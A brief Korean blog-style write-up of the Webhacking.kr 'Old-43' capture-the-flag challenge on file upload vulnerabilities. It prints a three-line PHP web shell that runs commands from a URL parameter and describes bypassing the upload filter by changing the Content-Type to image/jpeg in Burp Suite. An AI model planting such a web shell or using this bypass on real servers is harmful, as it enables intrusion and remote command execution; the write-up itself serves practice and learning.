[Webhacking.kr]Old-43 파일 업로드 취약점

먼저 사이트에 들어가면 웹쉘을 업로드하고, cat /flag를 실행하라고 대놓고 알려준다.

 

<?php
$cmd = $_GET["cmd"];
system($cmd);
?>

간단하게 웹쉘 코드를 짜서 업로드 해 본다.

필터링을 하는 것 같다.

 

버프수트로 패킷을 잡아 Content-Type을 image/jpeg로 우회 해 본다.

 

업로드

 

웹쉘 업로드 성공

 

익스 성공